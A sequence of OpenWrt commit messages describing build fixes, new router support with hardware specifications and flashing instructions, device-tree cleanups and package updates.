dbrandom.c:174:8: warning: implicit declaration of function 'getrandom'; did you mean 'genrandom'? [-Wimplicit-function-declaration]
ret = getrandom(buf, sizeof(buf), GRND_NONBLOCK);
^~~~~~~~~
genrandom
dbrandom.c:174:36: error: 'GRND_NONBLOCK' undeclared (first use in this function); did you mean 'SOCK_NONBLOCK'?
ret = getrandom(buf, sizeof(buf), GRND_NONBLOCK);
^~~~~~~~~~~~~
SOCK_NONBLOCK
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Read the freifunk packages, that have been moved from the LuCI feed
into its own feed in January 2019.
Signed-off-by: Sven Roederer <freifunk@it-solutions.geroedel.de>
* compat: drop centos 8.1 support as 8.2 is now out
Of note, as well, is that we now have both RHEL7 and RHEL8 in our CI at
<https://www.wireguard.com/build-status/>.
* Kbuild: remove -fvisibility=hidden from cflags
This fixes an issue when compiling wireguard as a module for ARM kernels in
THUMB2 mode without the JUMP11 workaround.
* noise: do not assign initiation time in if condition
Style fix.
* device: avoid circular netns references
Fixes a circular reference issue with network namespaces.
* netns: workaround bad 5.2.y backport
This works around a back backport in the 5.2.y series.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
mac80211_get_addr is called from mac80211_generate_mac, where the local variable
initialisation id="${macidx:-0}" suggests that macidx is not always defined.
Probably, idx was supposed to be used instead of $(($macidx + 1)).
Fixes: 4d99db168c ("mac80211: try to get interface addresses from wiphy sysfs 'addresses' if no mask is set")
Signed-off-by: Leon M. George <leon@georgemail.eu>
This patch adds supports for the NETGEAR R6200 V1
This device is mainlined in Linux as of 5.4
Specification:
- SOC: Broadcom BCM4718A1 (480 MHz)
- Flash: 16MB (Macronix MX25L128)
- RAM: 128MB DDR2
- SWITCH: BCM53125
- Ethernet: 5x GE (1 WAN + 4 LAN, Inverted order)
- WLAN 2.4G: In SOC
- WLAN 5GHz: miniPCIe card, BCM4352 (ID: 4360)
- USB: 1x USB 2.0 port (Type A)
- Buttons: Reset, WLAN, WPS
- LED: Amber for Power, others need a workaround
- UART: 1x UART on PCB
LED Issues: They are controlled by a 74HC164 via bit banging(GPIO 6/7)
Firmware Install Instructions
=============================
Using the device specific .chk, use that file to perform
a normal device upgrade in the OEM admin page.
Signed-off-by: Edward Matijevic <motolav@gmail.com>
urandom-seed has a separate Makefile, we can safely remove the definition here.
Fixes: 27bfde9c9f ("base-files: move urandom seed bits into separate package")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This commit performs minor janitorial work to clean up some code
formatting for the Netgear R6120.
Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
This moves the trigger for the Netgear R6120's wlan2g_green LED from
base-files/etc/board.d/01_leds to the device-tree file.
This has been applied to R6120 based on findings for the very similar
Netgear R6080.
Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
[merge case in 01_leds, slightly adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The DTS files in files-4.19 and files-5.4 are exactly identical
except for one file (armada-3720-uDPU.dts), which is only present
for 4.19, as it has been upstreamed before 5.4.
Since there is no point in maintaining all these identical files
twice, this patch moves them to the "files" directory, only keeping
the named exception to files-4.19.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The DTS files in files-4.19 and files-5.4 are exactly identical
except for one file (qcom-ipq4018-emr3500.dts), which is only
present for 5.4.
Since there is no point in maintaining all these identical files
twice, this patch moves them to the "files" directory.
If there ever was a new kernel with substantial DTS changes, a
new folder would need to be introduced anyway and could easily be
done.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"[[" is a bash extension for test. As the ash-implementation is not
fully compatible we drop its usage.
This follows up 3519bf4976
As a result, we also need to move the and/or out of the test brackets.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
[squash from two patches, adjust commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The original text was copy/pasted from some other package.
Adjust the package title and description to match the description
on the publishers page.
Signed-off-by: Catalin Patulea <catalinp@google.com>
[slightly adjust content and commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The mwlwifi driver sets the default country code for EU (fi-
rmware region code 0x30) certified devices to FR (France),
not DE (Germany). Whilst this is a trivial fix, novice users
may not know how mwlwifi negatively reacts to a non-matching
country code and may leave the setting alone. Especially si-
nce it is under the advanced settings section in LuCI.
Relevant mwlwifi driver code:
0a550312dd
The mwlwifi driver readme states "Please don't change country
code and let mwlwifi set it for you." However, OpenWrt's current
behaviour does not adhere to this with its default, 'just flashed
from factory' setting for EU devices.
Signed-off-by: Jose Olivera <oliverajeo@gmail.com>
[rebase, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Upstream in commit f9f8f0c24203 ("crypto: ccp -- don't "select"
CONFIG_DMADEVICES") removed dependency on CONFIG_DMADEVICES symbol which
leads to build breakage of ccp crypto module, so fix this by adding that
symbol back in the kernel config.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The ADB P.DG AV4202N device has a wifi chipset connected via PCI. But the
PCI pinmux is missing and without it the wifi won't work properly.
Add the pinctrl_pci to enable the missing PCI pins for this device.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Currently it's not possible to tftpboot initramfs image on archer-c7-v5
as the image contains tplink-v1-header which leads to:
ath> bootm
## Booting image at 81000000 ...
Bad Magic Number
as U-Boot expects uImage wrapped image. This is caused by following
inheritance issue:
define Device/Init
KERNEL_INITRAMFS = $$(KERNEL)
define Device/tplink-v1
KERNEL := kernel-bin | append-dtb | lzma
KERNEL_INITRAMFS := kernel-bin | append-dtb | lzma | tplink-v1-header
define Device/tplink-safeloader
$(Device/tplink-v1)
define Device/tplink-safeloader-uimage
$(Device/tplink-safeloader)
KERNEL := kernel-bin | append-dtb | lzma | uImageArcher lzma
define Device/tplink_archer-c7-v5
$(Device/tplink-safeloader-uimage)
where tplink-v1 defines KERNEL_INITRAMFS with tplink-v1-header and it's
then used by all devices inheriting from tplink-safeloader. Fix this by
overriding KERNEL_INITRAMFS to KERNEL variable again.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
- drop patches (applied upstream):
* 010-backport-change-address-logging.patch
* 020-backport-ed25519-support.patch
* 021-backport-chacha20-poly1305-support.patch
- backport patches:
* 010-backport-disable-toom-and-karatsuba.patch:
reduce dropbear binary size (about ~8Kb).
- refresh patches.
- don't bother anymore with following config options
because they are disabled in upstream too:
* DROPBEAR_3DES
* DROPBEAR_ENABLE_CBC_MODE
* DROPBEAR_SHA1_96_HMAC
- explicitly disable DO_MOTD as it was before commit a1099ed:
upstream has (accidentally) switched it to 0 in release 2019.77,
but reverted back in release 2020.79.
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
The fritz 7312 does not support 1000 gbit. Advertising it makes it
worse. Some NIC will change to 1000 gibt and turn off and on again for
ever.
The previous patch in 36f628910b was only applied to the 4.19 file,
so let's just make it consistent with this patch.
Cc: Alexander Couzens <lynxis@fe80.eu>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Inputs assigned to "mode select" switch on the side of the device
were missing linux,input-type property.
This would cause them do incorrectly generate EV_KEY events.
Fix this by setting the linux,input-type = <EV_SW> property on them.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
Increase the SPI frequency for ELECOM WRC-1900GST and WRC-2533GST
to 40 MHz by updating the common DTSI file.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[WRC-1900GST]
Acked-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
[split patch, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link CPE610 v2 is an outdoor wireless CPE for 5 GHz with
one Ethernet port based on Atheros AR9344
Specifications:
- 560/450/225 MHz (CPU/DDR/AHB)
- 1x 10/100 Mbps Ethernet
- 64 MB of DDR2 RAM
- 8 MB of SPI-NOR Flash
- 23dBi high-gain directional 2×2 MIMO antenna and a
dedicated metal reflector
- Power, LAN, WLAN5G green LEDs
- 3x green RSSI LEDs
Flashing instructions:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
This ports support for these devices from ar71xx.
Specification:
- System-On-Chip: Qualcomm Atheros QCA9533
- CPU/Speed: v3: 560 MHz, v4: 650 MHz
- Flash: 4096 KiB
- RAM: 32 MiB
- Ethernet: 1 port @ 100M
- Wireless: SoC-integrated: QCA9533 2.4GHz 802.11bgn
In contrast to the implementation in ar71xx (reset and WiFi button),
the device actually features reset and WPS buttons.
Flashing instructions:
Upload the ...-factory.bin file via OEM web interface.
TFTP Recovery:
1. Set PC to fixed IP address 192.168.0.66
2. Download *-factory.bin image and rename it to
wa801ndv3_tp_recovery.bin
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
TFTP recovery has only been tested with v3, and the Wiki states
that the procedure won't work for v4, which cannot be verified
or falsified at the moment.
Tested by Tim Ward (see forum):
https://forum.openwrt.org/t/ath79-support-for-tp-link-tl-wa901nd-v3-v4-v5/61246/13
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix the switch LAN labels for the DGND3700v1/DGND3800B router,
the order is reversed.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
[cut out of bigger patch, adjust commit title/message accordingly]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Huawei Echolife HG622 has hardware controlled LAN LEDs.
Add the ephy led pinctrl to let the router show LAN activity on these
LEDs.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The status is set to "okay" for all devices on ar9344, so just move
this to the parent DTSI.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replace the shell script header of ldd
when it install to `/usr/bin/ldd` where
`#! /..../staging_dir/host/bin/bash`
should be
`#!/bin/sh`
Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
Previously, gpio_switch only accepts GPIO pin number as input. Once a
GPIO pin is exported and named by device tree, its pin state cannot be
configured and saved across reboots by UCI.
This patch adds support for named GPIO pins. Thus GPIO pin can be
exported by device tree with active high/low correctly configured,
having human-readable name in /sys/class/gpio/ is also now possible.
More importantly, GPIO pins which are referenced by name will be immune
from pin mapping breakage while unintentional pin number changes are
introduced by kernel or driver updates.
Signed-off-by: Kuan-Yi Li <kyli@abysm.org>
This option allows adding the ath9k ADC register output as a source
of randomness into the Linux entropy pool at sufficient quality
random data (at least 10 bits and up to 22 bits of min-entropy for
a 32-bit value).
Fixes FS#1444
Signed-off-by: Alan Swanson <reiver@improbability.net>
Ubus patch as it seems have been broken by some rebase in the past as
the location of line that adds ubus object file was in condition for
CONFIG_MACSEC. That condition was adding object files that are not
touched by ubus patch. This means ubus.o does not have to be included in
that case. When it has to be and when build fails is when CONFIG_AP is
set. All files included in wpa_supplicant that are touched by this patch
are in this condition. This means that this is for sure the original
place for it.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
Removes the standalone implementation of stack smashing protection
in gcc's libssp in favour of the native implementation available
in glibc and uclibc. Musl libc already uses its native ssp, so this
patch does not affect musl-based toolchains.
Stack smashing protection configuration options are now uniform
across all supported libc variants.
This also makes kernel-level stack smashing protection available
for x86_64 and i386 builds using non-musl libc.
Signed-off-by: Ian Cooper <iancooper@hotmail.com>
After a hardware reconnect, the control device might be unavailable and
attempting to interact with it will lead to hanging gcom calls, leaving
the protocol setup in an unrecoverable state.
Change the protocol handler to bail out early and notify netifd if the
control device is not defined or if the underlying device node does not
exist.
Also ensure that the "disconnect", "connect" and "setmode" commands are
actually defined before trying to invoke them.
Finally attempt to re-query the device manufacturer if it is unset in
the interface state in order to prevent UNUPPORTED_MODEM errors after
a modem hardware reconnect.
Signed-off-by: Rozhuk Ivan <rozhuk.im@gmail.com>
[reword subject and commit message]
Ref: https://github.com/openwrt/openwrt/pull/2352
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Pass a default --up and --down executable to each started OpenVPN instance
which triggers /etc/hotplug.d/openvpn/ scripts whenever an instance
goes up or down.
User-configured up and down scripts are invoked by the default shipped
01-user hotplug handler to ensure that existing setups continue to work
as before.
As a consequence of this change, the up, down and script_security OpenVPN
options are removed from the option file, since we're always passing them
via the command line, they do not need to get included into the generated
configuration.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
[reword commit message, move hotplug executable to /usr/libexec]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Define the kernel config symbol CONFIG_MFD_RB4XX_CPLD=n
to fix build breakage on non-mikrotik targets.
The driver was added for all ath79, but the symbol was only
defined for mikrotik subtarget.
Fixes: fa70b3a4bb ("ath79: add Mikrotik rb4xx series drivers")
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
[rearrange commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
CONFIG_HZ_100 is not set to "y" in generic config anymore since
3a761c90af ("treewide: Don't diverge from upstream default HZ
settings on 4.19"), so we don't need to disable it anymore either.
This was the only remaining case in the entire tree.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently I'm unable to boot initramfs image with `console=ttyS0,115200`
kernel commandline as the kernel commandline mangling resets kernel
commandline if there is no `root=` option provided, efectively clearing
whatever I pass to the kernel, making the `root=` option mandatory.
So if the kernel commandline mangling is not appropriate just leave the
kernel commandline as it is.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Sercomm devices don't need the jffs2 cleanmarkers for the kernel
partition. With the stock firmware they are only added when the
bootloader partition is upgraded.
Furthermore, on the Sercomm H500-s, the specific cfe_jffs2_upgrade_tar
function causes OOB corruption. As a result of this, combined with the
nature of the mtdsplit driver, the upgrade procedure ends in a bricked
device.
Use the generic nand_do_upgrade provided by the OpenWrt common functions.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The uci config section network.globals set up in /bin/config_generate
will only be created if /proc/sys/net/ipv6 exists.
Correspondingly, lacking IPv6 support, the command
uci set network.globals.packet_steering=1
will fail with "uci: Invalid argument" as the network.globals config
has not been set up.
Fix that by adding the setup there as well.
While at it, limit the uci commit to the network config file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: Atheros AR9344
- RAM: 64MB
- Storage: 8 MB SPI NOR
- Wireless: 2.4GHz N based built into SoC
- Ethernet: 1x 10/100 Mbps with 24V POE IN, 1x 10/100 Mbps
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops the shebang from all target files for /lib and
/etc/uci-defaults folders, as these are sourced and the shebang
is useless.
While at it, fix the executable flag on a few of these files.
This does not touch ar71xx, as this target is just used for
backporting now and applying cosmetic changes would just complicate
things.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for the MikroTik RouterBOARD RB493G, ported
from the ar71xx target.
See https://routerboard.com/RB493G for details
Specification:
- SoC Qualcomm Atheros AR7161
- RAM: 256 MiB
- Storage: 128MiB NAND
- Ethernet: 9x 1000/100/10 Mbps
- USB 1x 2.0 / 1.0 type A
- PCIe: 3x Mini slot
- MicroSD slot
Working:
- Board/system detection
- Ethernet
- SPI
- NAND
- LEDs
- USB
- Sysupgrade
Enabled (but untested due to lack of hardware):
- PCIe - ath79_pci_irq struct has the slot/pin/IRQ mappings if needed
Installation methods:
- tftp boot initramfs image, scp then flash via "sysupgrade -n"
- nand boot existing OpenWrt, scp then flash via "sysupgrade -n"
Notes:
- initramfs image will not work if uncompressed image size over ~8.5Mb
- The "rb4xx" drivers have been enabled
Signed-off-by: Christopher Hill <ch6574@gmail.com>
This adds 3 Mikrotik rb4xx series drivers as follows:
rb4xx-cpld: This is in the mfd subsystem, and is the parent CPLD device
that interfaces between the SoC SPI bus and its two children below.
rb4xx-gpio: This is the GPIO expander.
rb4xx-nand: This is the NAND driver.
The history of this code comes in three phases.
1. The first is a May 2015 attempt to push the equivalient ar71xx rb4xx
drivers upstream. See https://lore.kernel.org/patchwork/patch/940880/.
Module-author: Gabor Juhos <juhosg@openwrt.org>
Module-author: Imre Kaloz <kaloz@openwrt.org>
Module-author: Bert Vermeulen <bert@biot.com>
2. Next several ar71xx patches were applied bringing the code current.
commit 7bbf4117c6
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
commit af79fdbe4a
commit 889272d92d
commit e21cb649a2
commit 7c09fa4a74
Signed-off-by: Felix Fietkau <nbd@nbd.name>
3. Finally a heavy refactor to split the driver into the three new
subsystems, and updated to work with the device tree configuration, plus
updates and review feedback incorporated
Reviewed-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Christopher Hill <ch6574@gmail.com>
Backport upstream patches that make drivers/spi/spi-rb4xx.c device tree
aware, plus a null pointer fix.
Signed-off-by: Christopher Hill <ch6574@gmail.com>
The Pirelli A226M-FWB has a wrong linux partition offset, caused
by a copy-paste error. As of result of this, OpenWrt is currently
broken in this unit.
Fix it.
While at it, also use generic node names and fix the addresses
there as well.
Fixes: a27d59bb42 ("brcm63xx: switch to new partition layout
specification")
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
[also fix/update node names, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently, ag71xx will trigger a warning when TX xor RX-Delay modes are
enabled.
Handle them identical to the already implemented RGMII modes, as they
are only different for the attached PHY.
Signed-off-by: David Bauer <mail@david-bauer.net>
The uci config section network.globals set up in /bin/config_generate
will only be created if /proc/sys/net/ipv6 exists.
Correspondingly, lacking IPv6 support, the command
uci set network.globals.packet_steering=1
will fail with "uci: Invalid argument" as the network.globals config
has not been set up.
Fix that by adding the setup there as well.
Fixes: dfd62e575c ("ramips: enable packet steering by default on mt7621")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit d9ff499671.
At this moment kernel can be fitted in EA3500 image.
Tested by onefreeman (OpenWrt forum user)
Tested-by: Jacks <jack338c@gmail.com> (Github user @jack338c)
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Ext4 support is built in kirkwood kernel.
This patch moves ext4 support to modules and enables it for devices
with SATA interface.
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[rebase]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
USB support built in kernel isn't required for booting.
This patch move USB support to modules.
CONFIG_USB_STORAGE is removed because it can be found in kmod-usb-storage
and all usb support for this targed is moved to kmods.
Tested-by: Cezary Jackiewicz <cezary@eko.one.pl> [nsa310]
Tested-by: Alberto Bursi <bobafetthotmail@gmail.com> [nsa325, ea4500]
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[keep CONFIG_SCSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All devices are using nand images. Built-in MMC/SD modules are not needed
anymore.
Run tested: pogo v4
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
This patch moves led trigger settings from 01_leds file to dts.
Now "linux,default-trigger" property is used.
Tested-by: Alberto Bursi <bobafetthotmail@gmail.com> [nsa310,nsa325]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
The ZyXEL NBG6617 has a separate kernel partition which is 4MiB large.
Add the kernel size to validate the kernel won't be bigger than this
fixed limit.
Signed-off-by: David Bauer <mail@david-bauer.net>
To prevent "wrong" musl packages which have a new version number
but the package still contains an old version, because
PKG_SOURCE_VERSION was unchanged.
Ref: musl ml https://www.openwall.com/lists/musl/2020/05/22/4
Reviewed-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
The sender domain has a DMARC Reject/Quarantine policy which disallows
sending mailing list messages using the original "From" header.
To mitigate this problem, the original message has been wrapped
automatically by the mailing list software.
Bringing up of station vlan fails if the optional mac entry isn't set.
The default mac "00:00:00:00:00:00", which should match all stations,
is mistakenly set to the non used variable "isolate". This results in
a wrong formatted .psk file which has to be "vlan_id mac key".
fixes: 5aa2ddd0: hostapd: add support for wifi-station and wifi-vlan sections
Signed-off-by: Johann Neuhauser <johann@it-neuhauser.de>
The NETGEAR EX61500v2 and EX6150v2 U-Boot does not support booting LZMA
compressed images. Currently, they are using GZIP compressed kernels,
which results in ledd flash being available to the root and overlay
filesystems.
Using a zImage results in a smaller kernel and therefore increases
available space for rootfs and overlayfs.
Size reduced: ~1.1 MiB
Signed-off-by: David Bauer <mail@david-bauer.net>
ipq40xx is still using swconfig based switch management. This might
change in he future, however disable the DSA and Switchdev support for
now.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[rephrased commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
SOC: IPQ4018 / QCA Dakota
CPU: Quad-Core ARMv7 Processor rev 5 (v7l) Cortex-A7
DRAM: 256 MiB
NOR: 32 MiB
ETH: Qualcomm Atheros QCA8072 (2 ports)
USB: 1 x 2.0 (Host controller in the SoC)
WLAN1: Qualcomm Atheros QCA4018 2.4GHz 802.11bgn 2:2x2
WLAN2: Qualcomm Atheros QCA4018 5GHz 802.11a/n/ac 2:2x2
INPUT: RESET Button
LEDS: White, Blue, Red, Orange
Flash instruction:
From EnGenius firmware to OpenWrt firmware:
In Firmware Upgrade page, upgrade your openwrt-ipq40xx-generic-engenius_emr3500-squashfs-factory.bin directly.
From OpenWrt firmware to EnGenius firmware:
1. Setup a TFTP server on your computer and configure static IP to 192.168.99.8
Put the EnGenius firmware in the TFTP server directory on your computer.
2. Power up EMR3500. Press 4 and then press any key to enter u-boot.
3. Download EnGenius firmware
(IPQ40xx) # tftpboot 0x84000000 openwrt-ipq40xx-emr3500-nor-fw-s.img
4. Flash the firmware
(IPQ40xx) # imgaddr=0x84000000 && source 0x84000000:script
5. Reboot
(IPQ40xx) # reset
Signed-off-by: Yen-Ting-Shen <frank.shen@senao.com>
[squashed update patch, updated to 5.4, dropped BOARD_NAME,
migrated to SOC]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
It was noticed that the the whole MAC can hang when transferring data from
one ar40xx port (WAN ports) to the CPU and from the CPU back to another
ar40xx port (LAN ports). The CPU was doing only NATing in that process.
Usually, the problem first starts with a simple data corruption:
$ wget https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.4.0-amd64-netinst.iso -O /dev/null
...
Connecting to saimei.ftp.acc.umu.se (saimei.ftp.acc.umu.se)|2001:6b0:19::138|:443... connected.
...
Read error at byte 48807936/352321536 (Decryption has failed.). Retrying.
But after a short while, the whole MAC will stop to react. No traffic can
be transported anymore from the CPU port from/to the AR40xx PHY/switch and
the MAC has to be resetted.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Acked-by: John Crispin <john@phrozen.org>
With the new driver, MAC addresses are not set up in DTS anymore,
and therefore label-mac-device will be useless there.
Setup is done properly in 02_network, so this just removes the
obsolete alias.
Fixes: 5e50515fa6 ("ramips/mt7621: mikrotik: don't use
mtd-mac-address in DTS")
Suggested-by: John Thomson <git@johnthomson.fastmail.com.au>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
With several subtargets, the image/Makefile becomes crowded after a
while. Many targets have moved their device definitions to $subtarget.mk
files to have them more organized, let's do this here as well.
Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This updates the display port order for the TEW-810DR to be in line
with the DIR-810L. Both share the same board and pictures on the
vendors' pages indicate the same external numbering scheme as well.
Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
[replace commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
NETGEAR WAC104 is an AP based on castrated R6220, without WAN
port and USB.
SoC: MediaTek MT7621ST
RAM: 128M DDR3
FLASH: 128M NAND
WiFi: MediaTek MT7612EN an+ac
MediaTek MT7603EN bgn
ETH: MediaTek MT7621ST (4x LAN)
BTN: 1x Connect (WPS), 1x WLAN, 1x Reset
LED: 7x (3x GPIO controlled)
Installation:
Login to netgear webinterface and flash factory.img
Back to stock:
Use nmrpflash to revert stock image.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Hardware:
* SoC: Qualcomm Atheros QCA9558
* RAM: 256MB
* Flash: 16MB SPI NOR
* Ethernet: 2x 10/100/1000 (1x 802.3at PoE-PD)
* WiFi 2.4GHz: Qualcomm Atheros QCA9558
* WiFi 5GHz: Qualcomm Ahteros QCA9880-2R4E
* LEDS: 1x 5GHz, 1x 2.4GHz, 1x LAN1(POE), 1x LAN2, 1x POWER
* Buttons: 1x RESET
* UART: 1x RJ45 RS-232 Console port
Installation via stock firmware:
* Install the factory image via the stock firmware web interface
Installation via bootloader Emergency Web Server:
* Connect your PC to the LAN1(PoE) port
* Configure your PC with IP address 192.168.0.90
* Open a serial console to the Console port (115200,8n1)
* Press "q" within 2s when "press 'q' to stop autoboot" appears
* Open http://192.168.0.50 in a browser
* Upload either the factory or the sysupgrade image
* Once you see "write image into flash...OK,dest addr=0x9f070000" you
can power-cycle the device. Ignore "checksum bad" messages.
Setting the MAC addresses for the ethernet interfaces via
/etc/board.d/02_network adds the following snippets to
/etc/config/network:
config device 'lan_eth0_1_dev'
option name 'eth0.1'
option macaddr 'xx:xx:xx:xx:xx:xx'
config device 'wan_eth1_2_dev'
option name 'eth1.2'
option macaddr 'xx:xx:xx:xx:xx:xx'
This would result in the proper MAC addresses being set for the VLAN
subinterfaces, but the parent interfaces would still have a random MAC
address. Using untagged VLANs could solve this, but would still leave
those extra snippets in /etc/config/network, and then the device VLAN
setup would differ from the one used in ar71xx. Therefore, the MAC
addresses of the ethernet interfaces are being set via preinit instead.
The bdcfg partition contains 4 MAC address labels:
- lanmac
- wanmac
- wlanmac
- wlanmac_a
The first 3 all contain the same MAC address, which is also the one on
the label.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
IPKG_INSTROOT is only set under image builder and we won't be running
this script at build time either, so remove the reference before it gets
cargo-culted into other scripts.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Acked-by: Hans Dedecker <dedeckeh@gmail.com>
The interface mode number of RGMII_33V is 7 on RTL8367, but it's 9 on
RTL8367B.
the external interface modes for RTL8367 are follows:
- 0, Disabled
- 1, RGMII
- 2, MII_MAC
- 3, MII_PHY
- 4, TMII_MAC
- 5, TMII_PHY
- 6, GMII
- 7, RGMII_33V
the external interface modes for RTL8367B are follows:
- 0, Disabled
- 1, RGMII
- 2, MII_MAC
- 3, MII_PHY
- 4, TMII_MAC
- 5, TMII_PHY
- 6, GMII
- 7, RMII_MAC
- 8, RMII_PHY
- 9, RGMII_33V
But the driver in U-Boot of RT-N56U GPL tar blocks using RGMII_33V (9)
mode and it seems to be unsupported on RTL8367B, so drop it from
switch-case in rtl8367b_extif_set_mode.
ref (RTL8367):
- TL-WR2453ND v1
ref (RTL8367B):
- ASUS RT-N56U
- TP-Link Archer C2 v1
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
The folder `json_info_files` contains multiple JSON files which describe
created firmware images. The folder is not removed between builds as the
ImageBuilder does not use `image.mk`.
Not removing the JSON files result in a merged `profiles.json` file
containing entries for outdated or non-existing images.
This commit adds the `json_info_files/` cleanup step to the ImageBuilder
Makefile.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The patch 4a1a58a3 build, imagebuilder: Do not require libncurses-dev
was supposed to remove libncurses as a requirement for the ImageBuilder.
However as the IB=1 is only exported during building, not for checking
requirements, it did never actually work.
This commit export IB=1 to the requirement check.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The port order displayed in LuCI is currently inverted for this
devices:
LuCI - Device
LAN1 - LAN4
LAN2 - LAN3
LAN3 - LAN2
LAN4 - LAN1
Fix it.
Strangely, the owner of a TRENDnet TEW-810DR reports that the
initial port order is correct, while both devices share the
same board and look similar from the outside. Since I cannot
investigate this without having any of the devices, this does
only touch the DIR-810L for now.
While at it, also merge in the case for zbtlink,zbt-we2026, as
the display port specified for WAN there won't have any effect
anyway.
Reported-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The WAN LED on DIR-810L was actually blinking on LAN1 port
activity. This has already been improved for the TEW-810DR, where
the GPIO has been set up explicitly rather than having it controlled
by the switch.
This patch also applies this setup to the DIR-810L.
In addition, the trigger in 01_leds is set up with
ucidef_set_led_switch for both devices now, so state changes should
be displayed correctly as well.
Reported-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net> [DIR-810L]
Tested-by: J. Scott Heppler <shep971@centurylink.net> [TEW-810DR]
The folder for the uci-defaults file of this package is wrong, so
the file most probably has not been executed at all for several
years at least.
Fix the folder and remove the useless shebang for the file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
